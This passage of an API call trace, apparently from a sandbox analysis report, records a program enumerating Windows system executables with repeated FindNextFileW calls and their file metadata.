nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="bootcfg.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e6d0c2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x39e6d0c2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdacd3b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="bridgeunattend.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa71185d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xfa71185d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="bthudtask.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="cacls.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3786a5f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xa3786a5f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdafa6590, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe0400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="calc.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa00af576, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xa00af576, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb312d00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="CertEnrollCtrl.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d779bd5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x9d779bd5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb4689c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="certreq.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaba59ad6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaba59ad6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb99d9e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11f000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="certutil.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="change.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x965e8982, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x965e8982, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdba376d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="charmap.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="chglogon.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="chgport.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b37c01, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b37c01, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="chgusr.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc10dea0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="chkdsk.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc134fa0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="chkntfs.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93205b17, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93205b17, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9322bc77, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="choice.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318b7149, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x318b7149, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc23f170, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="cipher.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbbfaf1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7cbbfaf1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdc2fd850, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x34c00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="cleanmgr.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e5790, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xb7e5790, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xdc324950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="cliconfg.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391d06ff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x391d06ff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc349340, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="clip.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8734b6f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8734b6f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87371858, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="cmd.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1030d73, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb1030d73, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdd3a6a80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="cmdkey.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec55860, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x6ec55860, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3cdb80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="cmdl32.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d4445bb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7d4445bb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3f2570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="cmmon32.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8efab55c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8efab55c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8efab55c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="cmstp.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba021e4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1ba021e4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd419670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="cofire.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fdc04, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x19fdc04, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdd465160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15200, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="colorcpl.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd48c260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="comp.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="compact.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7238b736, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x7238b736, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xeecd5140, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="CompMgmtLauncher.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7da9e, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82d7da9e, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="ComputerDefaults.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853e749d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x853e749d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8547fa1f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="conhost.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee548fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ee548fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ee548fa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b580, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="consent.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75044f6b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x75044f6b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd67bc10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="control.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ca404f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x29ca404f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd6a0600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="convert.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eda12e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb0eda12e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xddacb450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="credwiz.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53727ed, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd53727ed, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26200, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="cscript.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b3e3e96, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x6b3e3e96, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="csrss.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c51c5ff, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1c51c5ff, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xddbb0c30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="ctfmon.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2191a4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8e2191a4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc48210, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4ea00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="cttune.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c7647, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x895c7647, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc6f310, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="cttunesvr.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1385fc55, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1385fc55, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdde37bc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xd7400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="dccw.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfca15ae0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xfca15ae0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde000470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="dcomcnfg.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbf2c800, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbf2c800, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde0beb50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="ddodiag.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbcdff23, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xbbcdff23, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde10a640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2cc00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="Defrag.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb939178, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdb939178, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="DeviceDisplayObjectProvider.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff3a56c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x5ff3a56c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="DeviceEject.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbe32659, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbbe32659, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde17d230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x650078, dwReserved1=0x630000, 